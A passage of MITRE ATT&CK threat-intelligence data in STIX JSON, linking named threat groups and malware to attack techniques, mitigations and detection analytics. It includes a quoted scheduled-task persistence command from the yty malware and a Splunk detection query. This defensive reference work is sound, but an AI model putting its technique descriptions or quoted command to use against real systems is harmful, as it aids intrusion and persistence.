2019)","relationship_type":"uses","source_ref":"malware--0d1f9f5b-11ea-42c3-b5f4-63cce0122541","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e6c88fb-11fc-481d-990a-81d74a69e02f","type":"relationship","created":"2019-06-24T13:38:13.121Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blogs.technet.microsoft.com/srd/2017/08/09/moving-beyond-emet-ii-windows-defender-exploit-guard/","description":"Nunez, N. (2017, August 9). Moving Beyond EMET II – Windows Defender Exploit Guard. Retrieved March 12, 2018.","source_name":"TechNet Moving Beyond EMET"},{"url":"https://en.wikipedia.org/wiki/Control-flow_integrity","description":"Wikipedia. (2018, January 11). Control-flow integrity. Retrieved March 12, 2018.","source_name":"Wikipedia Control Flow Integrity"}],"modified":"2022-03-08T21:11:48.071Z","description":"Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility.","relationship_type":"mitigates","source_ref":"course-of-action--d2a24649-9694-4c97-9c62-ce7b270bf6a3","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e7796f2-6b52-4bf1-9a5c-b6e19d50791c","created":"2024-09-16T09:15:39.604Z","revoked":false,"external_references":[{"source_name":"Google Cloud APT41 2024","description":"Mike Stokkel et al. (2024, July 18). APT41 Has Arisen From the DUST. Retrieved September 16, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/apt41-arisen-from-dust"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-16T09:15:39.604Z","description":"[APT41 DUST](https://attack.mitre.org/campaigns/C0040) collected data from victim Oracle databases using SQLULDR2.(Citation: Google Cloud APT41 2024)","relationship_type":"uses","source_ref":"campaign--add4d9de-1256-4166-83b8-57087288dced","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e7a35d2-4fbf-4e9c-8ad4-c21634540cbb","created":"2024-03-28T14:25:43.213Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TEMP.Veles 2018","description":"FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:00:18.446Z","description":"In the [Triton Safety Instrumented System Attack](https://attack.mitre.org/campaigns/C0030), [TEMP.Veles](https://attack.mitre.org/groups/G0088) used tools such as Mimikatz and other open-source software.(Citation: FireEye TEMP.Veles 2018)","relationship_type":"uses","source_ref":"campaign--45a98f02-852f-49b2-94c0-c63207bebbbf","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e7f0283-1aeb-4b9e-81e0-4aec48e30228","type":"relationship","created":"2019-05-30T19:49:35.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Proofpoint Staff. (2017, September 27). Threat Actor Profile: TA505, From Dridex to GlobeImposter. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/threat-actor-profile-ta505-dridex-globeimposter","source_name":"Proofpoint TA505 Sep 2017"},{"description":"Proofpoint Staff. (2018, June 8). TA505 shifts with the times. Retrieved May 28, 2019.","url":"https://www.proofpoint.com/us/threat-insight/post/ta505-shifts-times","source_name":"Proofpoint TA505 June 2018"},{"source_name":"IBM TA505 April 2020","url":"https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/","description":"Frydrych, M. (2020, April 14). TA505 Continues to Infect Networks With SDBbot RAT. Retrieved May 29, 2020."}],"modified":"2020-06-01T14:53:46.663Z","description":"(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: IBM TA505 April 2020)","relationship_type":"uses","source_ref":"intrusion-set--7eda3dd8-b09b-4705-8090-c2ad9fb8c14d","target_ref":"malware--f01e2711-4b48-4192-a2e8-5f56c945ca19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e809121-085d-419e-a763-c9e2309af074","type":"relationship","created":"2019-03-12T16:16:04.375Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN10 June 2017","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"}],"modified":"2019-04-25T12:09:56.359Z","description":"(Citation: FireEye FIN10 June 2017)","relationship_type":"uses","source_ref":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","target_ref":"tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e81cdcc-e258-479f-9588-3649509bfcd1","created":"2023-07-31T17:28:10.208Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"},{"source_name":"Joint Cybersecurity Advisory Volt Typhoon June 2023","description":"NSA et al. (2023, May 24). People's Republic of China State-Sponsored Cyber Actor Living off the Land to Evade Detection. Retrieved July 27, 2023.","url":"https://media.defense.gov/2023/May/24/2003229517/-1/-1/0/CSA_Living_off_the_Land.PDF"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T04:17:56.801Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has compromised small office and home office (SOHO) network edge devices, many of which were located in the same geographic area as the victim, to proxy network traffic.(Citation: Microsoft Volt Typhoon May 2023)(Citation: Joint Cybersecurity Advisory Volt Typhoon June 2023)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--149b477f-f364-4824-b1b5-aa1d56115869","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e8644b0-9e72-47a9-bcd5-4e6c1938118a","created":"2024-03-28T15:48:20.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye TRITON 2019","description":"Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-10T15:13:27.533Z","description":"During the [C0032](https://attack.mitre.org/campaigns/C0032) campaign, [TEMP.Veles](https://attack.mitre.org/groups/G0088) used compromised VPN accounts.(Citation: FireEye TRITON 2019)","relationship_type":"uses","source_ref":"campaign--7ec2826c-0bf0-4b47-acae-fd683431a4ca","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e8fbfc4-4992-490a-9a91-e304eb965c0d","created":"2022-08-22T13:43:50.268Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Proofpoint Bumblebee April 2022","description":"Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.","url":"https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"},{"source_name":"Google EXOTIC LILY March 2022","description":"Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.","url":"https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T22:27:23.384Z","description":"[Bumblebee](https://attack.mitre.org/software/S1039) can use `cmd.exe` to drop and run files.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)","relationship_type":"uses","source_ref":"malware--04378e79-4387-468a-a8f7-f974b8254e44","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e902f51-efe0-4848-b47a-7e1a1664b101","type":"relationship","created":"2021-10-12T19:25:56.921Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east","description":"Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.","source_name":"Symantec Leafminer July 2018"}],"modified":"2021-10-12T23:23:16.448Z","description":"[Leafminer](https://attack.mitre.org/groups/G0077) has obtained and used tools such as [LaZagne](https://attack.mitre.org/software/S0349), [Mimikatz](https://attack.mitre.org/software/S0002), [PsExec](https://attack.mitre.org/software/S0029), and [MailSniper](https://attack.mitre.org/software/S0413).(Citation: Symantec Leafminer July 2018)","relationship_type":"uses","source_ref":"intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e950346-c2b5-4b79-a2a0-d0b1ed1a221b","created":"2022-09-27T18:02:16.150Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T18:02:16.150Z","description":"","relationship_type":"subtechnique-of","source_ref":"attack-pattern--da051493-ae9c-4b1b-9760-c009c46c9b56","target_ref":"attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e9c15dc-2ba7-421e-8d67-6b59e0c457c7","type":"relationship","created":"2019-07-09T17:42:44.979Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.","url":"https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/","source_name":"Unit42 Emissary Panda May 2019"}],"modified":"2021-10-12T19:21:39.355Z","description":"[HyperBro](https://attack.mitre.org/software/S0398) can run shellcode it injects into a newly created process.(Citation: Unit42 Emissary Panda May 2019)","relationship_type":"uses","source_ref":"malware--5e814485-012d-423d-b769-026bfed0f451","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1e9d1b0c-a3c2-4236-9814-e2f131afb87a","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T19:55:26.661Z","description":"Monitor for changes made to windows registry keys and/or values that may abuse system services or daemons to execute commands or programs.\n\nAnalytic 1 - Malicious service modification\n\nsourcetype= Sysmon EventCode=12\n| search registry_path=\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Services\\\\*\" \n| where registry_action=\"modified\" AND user NOT IN (\"known_admins\") ","relationship_type":"detects","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--d157f9d2-d09a-4efa-bb2a-64963f94e253","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1e9f6719-24c5-4c8b-a832-506f46bbadb6","type":"relationship","created":"2021-01-28T15:40:53.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."}],"modified":"2021-04-06T22:07:34.268Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has used tools to identify running processes on the victim's machine.(Citation: ATT Sidewinder January 2021)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ea2c546-6719-4695-93e6-891c3bad6194","type":"relationship","created":"2021-09-21T21:13:33.355Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET BackdoorDiplomacy Jun 2021","url":"https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/","description":"Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}],"modified":"2021-09-21T21:13:33.355Z","description":"(Citation: ESET BackdoorDiplomacy Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--9735c036-8ebe-47e9-9c77-b0ae656dab93","target_ref":"malware--350f12cf-fd3b-4dad-b323-14b943090df4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ea32af4-a6e3-4ead-9829-35ffc4c91426","created":"2024-07-25T18:03:42.115Z","revoked":false,"external_references":[{"source_name":"ESET EvasivePanda 2024","description":"Ahn Ho, Facundo Muñoz, & Marc-Etienne M.Léveillé. (2024, March 7). Evasive Panda leverages Monlam Festival to target Tibetans. Retrieved July 25, 2024.","url":"https://www.welivesecurity.com/en/eset-research/evasive-panda-leverages-monlam-festival-target-tibetans/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-25T18:03:42.115Z","description":"[Daggerfly](https://attack.mitre.org/groups/G1034) has attempted to use scheduled tasks for persistence in victim environments.(Citation: ESET EvasivePanda 2024)","relationship_type":"uses","source_ref":"intrusion-set--f3be6240-f68e-47e1-90d2-ad8f3b3bb8a6","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1eafa58c-6247-4a4f-ba06-39e39f4da806","created":"2024-02-12T20:50:25.450Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Trellix Darkgate 2023","description":"Ernesto Fernández Provecho, Pham Duy Phuc, Ciana Driscoll & Vinoo Thomas. (2023, November 21). The Continued Evolution of the DarkGate Malware-as-a-Service. Retrieved February 9, 2024.","url":"https://www.trellix.com/blogs/research/the-continued-evolution-of-the-darkgate-malware-as-a-service/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-02T21:25:52.000Z","description":"[DarkGate](https://attack.mitre.org/software/S1111) uses per-victim links for hosting malicious archives, such as ZIP files, in services such as SharePoint to prevent other entities from retrieving them.(Citation: Trellix Darkgate 2023)","relationship_type":"uses","source_ref":"malware--6f6f67c9-556d-4459-95c2-78d272190e52","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1eb02abf-4bad-4672-a0dd-73fffc02bb47","type":"relationship","created":"2019-06-05T21:30:37.400Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Ursnif Nov 2017","url":"https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html","description":"Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:21.026Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used CreateProcessW to create child processes.(Citation: FireEye Ursnif Nov 2017)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1eb067c7-e741-46b6-9080-dbc8395f8c43","type":"relationship","created":"2020-02-04T19:24:28.255Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-04T19:24:28.255Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345","target_ref":"attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1eb0fe9c-86e9-4c8c-8a24-c7b139559971","type":"relationship","created":"2020-06-22T14:58:06.604Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Skidmap","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/","description":"Remillano, A., Urbanec, J. (2019, September 19). Skidmap Linux Malware Uses Rootkit Capabilities to Hide Cryptocurrency-Mining Payload. Retrieved June 4, 2020."}],"modified":"2020-06-25T13:32:00.200Z","description":"[Skidmap](https://attack.mitre.org/software/S0468) has the ability to download files on an infected host.(Citation: Trend Micro Skidmap) ","relationship_type":"uses","source_ref":"malware--4b68b5ea-2e1b-4225-845b-8632f702b9a0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1eb3d79f-d9b9-45ea-9fef-f7759b984749","created":"2023-03-09T22:18:08.983Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-11T22:29:07.087Z","description":"Monitor for unexpected deletions of user accounts. Windows event logs may highlight activity associated with an adversary's attempt to remove an account (e.g., `Event ID 4726 - A user account was deleted`).\n\nAlerting on these Event IDs may generate a high degree of false positives, so compare against baseline knowledge for how systems are typically used and correlate account modification events with other indications of malicious activity where possible.","relationship_type":"detects","source_ref":"x-mitre-data-component--d6257b8e-869c-41c0-8731-fdca40858a91","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1eb48dcf-5255-4cf4-aaf4-64d3a8b7dfa8","type":"relationship","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.868Z","description":"Monitor for changes made to files that may abuse legitimate extensible development features of servers to establish persistent access to systems.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1eb79c3a-2cee-48ff-80b1-a5c3f571a3e8","type":"relationship","created":"2020-03-19T23:45:03.141Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 MuddyWater Nov 2017","description":"Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.","url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/"},{"source_name":"Symantec MuddyWater Dec 2018","url":"https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group","description":"Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018."}],"modified":"2020-03-19T23:45:03.141Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has performed credential dumping with [LaZagne](https://attack.mitre.org/software/S0349).(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1eb94d47-7732-488e-b040-2bff5ab859a7","type":"relationship","created":"2020-02-04T12:58:40.964Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-07T20:49:19.002Z","description":"Do not store credentials within the Registry.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ebc312e-68a4-4119-94c5-79897a5bf5b4","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/","description":"Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.","source_name":"ASERT Donot March 2018"}],"modified":"2020-03-28T21:45:32.253Z","description":"[yty](https://attack.mitre.org/software/S0248) establishes persistence by creating a scheduled task with the command SchTasks /Create /SC DAILY /TN BigData /TR “ + path_file + “/ST 09:30“.(Citation: ASERT Donot March 2018)","relationship_type":"uses","source_ref":"malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--1ebc8fee-78fd-4570-9fcd-060f4213b202","created":"2024-05-17T13:56:09.879Z","revoked":false,"external_references":[{"source_name":"HP RaspberryRobin 2024","description":"Patrick Schläpfer . (2024, April 10). Raspberry Robin Now Spreading Through Windows Script Files. Retrieved May 17, 2024.","url":"https://threatresearch.ext.hp.com/raspberry-robin-now-spreading-through-windows-script-files/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-17T13:56:09.879Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) second stage payloads can be hosted as RAR files, containing a malicious EXE and DLL, on Discord servers.(Citation: HP RaspberryRobin 2024)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ec23e24-e63e-4c35-ad0d-637880ce7bb6","type":"relationship","created":"2021-01-28T17:24:48.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET EvilNum July 2020","url":"https://www.welivesecurity.com/2020/07/09/more-evil-deep-look-evilnum-toolset/","description":"Porolli, M. (2020, July 9). More evil: A deep look at Evilnum and its toolset. Retrieved January 22, 2021."},{"source_name":"Prevailion EvilNum May 2020","url":"https://www.prevailion.com/phantom-in-the-command-shell-2/","description":"Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}],"modified":"2022-01-19T18:23:52.873Z","description":"[EVILNUM](https://attack.mitre.org/software/S0568) can achieve persistence through the Registry Run key.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)","relationship_type":"uses","source_ref":"malware--7cdfccda-2950-4167-981a-60872ff5d0db","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1ec28c41-586b-42dc-9400-6e6313e38d84","type":"relationship","created":"2020-06-29T22:23:14.236Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-14T22:22:00.046Z","description":"Disable Hyper-V if not 